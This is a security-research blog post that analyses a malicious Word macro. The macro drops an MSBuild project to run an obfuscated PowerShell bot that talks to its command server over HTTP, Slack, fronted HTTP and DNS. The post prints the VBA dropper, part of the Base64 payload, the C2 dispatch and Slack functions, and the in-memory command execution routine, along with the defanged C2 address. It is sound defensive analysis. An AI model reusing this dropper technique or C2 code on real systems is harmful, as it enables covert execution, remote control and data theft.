My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Powershell Bot with Multiple C2 Protocols

Published: 2020-08-03. Last Updated: 2020-08-05 04:54:55 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted another interesting Powershell script. It's a bot and is delivered through a VBA macro that spawns an instance of msbuild.exe This Windows tool is often used to compile/execute malicious on the fly (I already wrote a diary about this technique[1]). I don’t have the original document but based on a technique used in the macro, it is part of a Word document. It calls Document_ContentControlOnEnter[2]:

Private Sub CommandButton1_Click()
  MsgBox "Thank you for your participation!"
  Call f332dsasad
End Sub

Private Sub Document_ContentControlOnEnter(ByVal ContentControl As ContentControl)
  f332dsasad
End Sub

This is an interesting technique because it requires some interaction with the victim and therefore may prevent an automatic analysis in a sandbox. The macro was submitted to VT on July 31st from the United States. The current VT score is 1/60[3]. The macro is simple, it dumps an XML project file to disk and launches msbuild.exe:

Sub f332dsasad()
  Dim aaa As String
  On Error Resume Next
  Dim file
  adddsaddsasd
  appDataLocation = Environ("A" & "ppD" & "ata")
  file = appDataLocation & "\Wind" & "owsManager." & "xml"
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set oFile = objFSO.CreateTextFile(file, True)
  oFile.Write "<Project ToolsVersion=""4.0"" xmlns=""http://schemas.microsoft.com/developer/msbuild/2003""><Target Name"
  oFile.Write "=""Example""><ClassExample /></Target><UsingTask TaskName=""ClassExample"" TaskFactory=""CodeTaskFactory"""
  oFile.Write " AssemblyFile=""C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll"" ><Task>"
  oFile.Write "<Reference Include=""System.Management.Automation"" /><Using Namespace=""System"" /><Using Namespace=""Sy"
  oFile.Write "stem.IO"" /><Using Namespace=""System.Reflection"" /><Using Namespace=""System.Collections.Generic"" /><C"
  oFile.Write "ode Type=""Class"" Language=""cs""><![CDATA[ using System;using System.IO;using System.Diagnostics;using"
  oFile.Write " System.Reflection;using System.Runtime.InteropServices;using System.Collections.ObjectModel;using S"
  oFile.Write "ystem.Management.Automation;using System.Management.Automation.Runspaces;using System.Text;using Mic"
  oFile.Write "rosoft.Build.Framework;using Microsoft.Build.Utilities;public class ClassExample :  Task, ITask{publ"
  oFile.Write "ic override bool Execute(){byte[] data = Convert.FromBase64String(""W1NjcmlwdEJsb2NrXSAkcWY1ID0geyBpZ"
  oFile.Write "igkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uLk1ham9yIC1sZSAyKXsgZnVuY3Rpb24gQ29udmVydFRvLUpzb257IHBhcmFtKFtQY"
  oFile.Write "XJhbWV0ZXIoVmFsdWVGcm9tUGlwZWxpbmU9JFRydWUpXSRpdGVtLCAkRGVwdGgsIFtzd2l0Y2hdJENvbXByZXNzKTsgYWRkLXR5c"

        ... (stuff removed) ...

  oFile.Write "jFSZ3VaS09qQkwySVovSEpaaUJvOGUzS1lZMnV4SlZqams9IjsgJF95NzQrPSJsSUhzeFMyTmhXRFdMNXNVekU5aDFFdFpLdm5qe"
  oFile.Write "FJsWklqQVd3RjFmZXFjPSI7IHBzcTsg"");string script = Encoding.Default.GetString(data);PSExecute(script)"
  oFile.Write ";return true;}public static void PSExecute(string cmd){Runspace runspace = RunspaceFactory.CreateRun"
  oFile.Write "space();runspace.Open();Pipeline pipeline = runspace.CreatePipeline();pipeline.Commands.AddScript(cm"
  oFile.Write "d);pipeline.InvokeAsync();}} ]]></Code></Task></UsingTask></Project>"
  oFile.Close
  waitTill = Now() + TimeValue("00:00:04")
  While Now() < waitTill
      DoEvents
  Wend
  aaa = "c:\Wi" & "nd" & "ow" & "s\" & "Micr" & "oso" & "ft.NE" & "T\Fr" & "ame" & "work64\v4." & "0.30319" & "\M" & "sbuil" & "d.ex" & "e " & file
  retVal = asd21we(aaa, 0)
End Sub

Note that a specific version of the .Net framework is used (v4.0.30319) in the patch of msbuild.exe!

Another nice trick to obfuscate the execution of a new process is to map the WinExec[2] API call to a random string:

Private Declare PtrSafe Function asd21we Lib "kernel32" Alias "WinExec" (ByVal szURL As String, ByVal dwReserved As Long) As Long

The payload is just Base64-encoded and obfuscated but can be easily analyzed. First, a default configuration of the bot is provided via an encrypted array:

$_q60 = @{}; 
 $_q60['sbqJMK0fLjmB6gPKj7CUkBt8bTnjlA09LlQ/TgPLKHk=']='dWShWx68L1gga2nZmCQo80pFsisM+x4BakLCZ40nqOQ='; 
 $_q60['gsgGKVQdByL/VwTm6ZsKjHq+C8+WH9TNiKd8jJgyxGA=']='3FfmM4zpHxiSCATiv1vfT7SLrYF2MRfL54zsjXPi+a4='; 
 $_q60['2dwivHdqm/McOX3LT0i4uMT31s+r+bTMcqA2tXKCSGE=']='X20HRDOJ2pLtTZ/KbV45YtCX7htZNCa9v6iL/iO3L94='; 
 $_q60['8md4kul/RSVA512X6iBFNA9tHHZivEBaEm+JdoatSqc=']='Zb5v1xWBLLljVgke3nY1UwlqtXF2hzvjB9SXwhrInLcr0/ahWDrEGG1a1bhTsShDk7NqeoDOhsTTrkbk/8Z6YA==';
 $_q60['LFIlE0dzJnFT5nU8ZMLXKEuNnTu5RtZ2/Udst9gwaqQ=']='tuVmAE7hc8XjUwQ6g8rqOaetirT9+VSDMoAF/7wIIuIkN2kjtkC1sok2NpLiNsO6'; 
 $_q60['elgqwz9ery3fBazsgT0PzFh9z6onurDmzAb4rQVkS38=']='7z24DOGs16WnTwNJRv4Xvs/cwl2mQ1AWx+TwHglMIBc='; 

This content is Base64 and SHA256 encrypted. Once decoded, you read this:

PS C:\Users\REM> bpf
Name                           Value                                                                                                         
----                           -----                                                                                                         
sleep                          1                                                                                                             
chunksleep                     1                                                                                                             
key                            {47, 130, 248, 76...}                                                                                         
handlers                       HTTPAES256|hxxp://104[.]239[.]177[.]103:80                                                                          
shell                          powershell                                                                                                    
maxrequestsize                 24000         

Another interesting array is obfuscated in the same way and discloses interesting features of the bot:

PS C:\Users\REM> doa
Payload too long for slack API
token
channel
attachments
as_user
text
https://slack.com/api/chat.postMessage
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
The remote server returned an error: (429) Too Many Requests.
thread_ts
https://slack.com/api/channels.replies
DNSError
jobresult
No response from handler
None
POST
Authorization
HTTPAES256
SLACK
HTTPAES256FRONT
DNSAES256

register
127.0.0.1
{"implantType":"PowerShell","localIp":"
","hostname":"
","username":"
","handler":"Multi","connectionString":"
","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"w
indows"}
{"id":"
heartbeat
powershell
payload
command
options
upload
download
posh_in_mem
reflected_assembly
[bool]
[int]
interactive
Process Exited
socks
tcp_fwd
Not a connect
Not a valid destination address
Cant resolve destination address
Cant connect to host
Unknown socks version
Tcp Connection Closed
Payload type not supported: 
true
exit
Bye!
configure

Just by reading this array, you guess that we are facing a bot! An interesting one if indeed the references to the slack.com API! We see that the bot supports multiple protocols to talk to its C2 server:

  • HTTPAES256
  • SLACK
  • HTTPAES256FRONT
  • DNSAES256

We can find a function for each technique in the bot.  Here is the function which sends data to the C2:

function oqe($_hc8, $body) {
   $_l19s = $_d.handlers.split(","); 
   $_ktk = ""; 
   For ($i=0; $i -lt $_l19s.Length + 1; $i++) {
     try {
       $_l19 = $_l19s[$i].split("|");
       if($_l19[0] -eq $_h[17]) { # "HTTPAES256"
         Return v1v $_l19[1] $_hc8 $body;
       } 
       elseif($_l19[0] -eq $_h[18]) { # "SLACK"
         $trySlack = $false; 
         Return ny4 $_hc8 $body; 
       } 
       elseif($_l19[0] -eq $_h[19]) { # "HTTPAES256FRONT"
         Return v1v $_l19[1] $_hc8 $body $_l19[2];
       } 
       elseif($_l19[0] -eq $_h[20]){ # DNSAES256
         Return r8p $_hc8 $body $_l19[1]; 
       }
     }
     catch { 
       if($_.Exception.message -eq 404) {
         throw $_;
       }
       else { 
         $_ktk += $_h[21] + $_.Exception.message;
       } 
     } 
   } 
   Throw $_ktk;
 }

Here is the function which uses Slack to exchange data with the C2:

function ny4($_hc8, $body){ 
  [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null; 
  $bodyEnc = vnm $_d.key $body; 
  $Body2 = @{ url = $_hc8; body = $bodyEnc; } | ConvertTo-Json -Compress -Depth 3; 
  $_uyx = q6d -token $_d.slacktoken -channelID $_d.slackchannel -Header $Body2; 
  if($_hc8 -ne $_h[12]){ 
    $thread_ts = $_uyx.ts; 
    sleep -Milliseconds 500;
    $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    if($_uyx2.messages.length -lt 2){ 
      Sleep 4; 
      $_uyx2 = f04 -token $_d.slacktokenApp -channelID $_d.slackchannel -thread_ts $thread_ts; 
    } 
    if($_uyx2.messages.length -lt 2){ 
      throw $_h[13]; 
    } 
    $_yl5 = ncf $_d.key $_uyx2.messages[1].text ; 
    if($_yl5 -eq "404"){ 
      throw "404"; 
    } 
    return ConvertFrom-Json $_yl5; 
  } 
} 

The rest of the code is classic for a bot. Once initialized, it enters an infinite loop and contacts the C2 at a regular interval (based on the config with some randomization):

Sleep (Get-Random -Minimum ([float]$_d.sleep * 0.7) -Maximum ([float]$_d.sleep * 1.3));

When launched, it registers itself to the C2 by sending the IP address, hostname, and username and get back from the C2 a handler. Here is the initial information sent:

{"implantType":"PowerShell","localIp":"172.16.74.131","hostname":"DESKTOP-2C3IQHO","username":"REM","handler":"Multi","connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80","supportedPayloads":["command","exit","upload","download","configure","posh_in_mem","reflected_assembly","cd","interactive","socks"],"os":"windows"}

Note the list of available commands:

  • Command (execute something)
  • Upload
  • Download
  • Configure
  • Exit
  • Posh in mem
  • Reflected assembly
  • Interactive
  • Socks (proxy)

Once registration is successful:

{
  "localIp":"172.16.74.131",
  "sourceIp":"",
  "os":"windows",
  "hostname":"DESKTOP-2C3IQHO",
  "username":"REM",
  "handler":"Multi",
  "connectionString":"HTTPAES256|hxxp://104[.]239[.]177[.]103:80",
  "implantType":"PowerShell",
  "config":{},
  "supportedPayloads": 
     ["command","exit","upload","download","configure",
      "posh_in_mem","reflected_assembly","cd","interactive","socks"
     ],
  "_id":"AlsHROTc7sr98HtH7joE9RyuPAiJ5orJ",
  "createdAt":1596440810315,
  "lastSeen":1596440810315,
  "listener":""
}

Now, we've our _id! I was curious about the command 'posh_in_mem'. It just means "PowerShell in memory" and allows execution of the submitted PowerShell code:

 } elseif ($_wxs.($_h[32]).type -eq $_h[37]) { 
   if($_wxs.($_h[32]).($_h[34]).pipe_id){ 
     $bytes = zvf $_suv $_wxs.($_h[32]).($_h[34]).length; 
     $script = [System.Text.Encoding]::ASCII.GetString($bytes);
   } else {
     $script = "";
   } 
   $script += $_h[21] + $_wxs.($_h[32]).($_h[34]).command; 
   $_yl5=""; 
   $_e7i = Invoke-Expression $script | Out-String; 
   ForEach ($line in $($_e7i -split $_h[21])){ 
     $_yl5+=$line.TrimEnd() + $_h[21]; 
   } 
   igl $_wxs._id $_yl5 $false;
  } 

The C2 is located at 104.239.177.103 and is still alive. This IP address is serving the following website: https://culture-amp[.]com. It allows you to download a document called 'Diversity and Inclusion Survey.docm'[5] that contains... our initial macro!

I kept the bot running for approximately 24 hours but I never received any command. Only heartbeats were processed. In my opinion, these files could be related to a red-team exercise or targeting a specific victim/organization. The fact that the path to msbuild.exe is hardcoded to a specific .Net framework version is a good sign. Anyway, the Powershell script was really nice to analyze!

[1] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[2] https://docs.microsoft.com/en-us/office/vba/api/word.document.contentcontrolonenter
[3] https://www.virustotal.com/gui/file/13afde702d9b1e80502b12c5f703dce594e240bfd8c3919e06464d1b8f301395/submissions
[4] https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec
[5] https://www.virustotal.com/gui/file/2d7e5fe74a170f82006cbf29f9fef1e1be867c8cd89d077bfa0ffc58dfb36839/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Keywords: Bot Macro Powershell VBA
0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives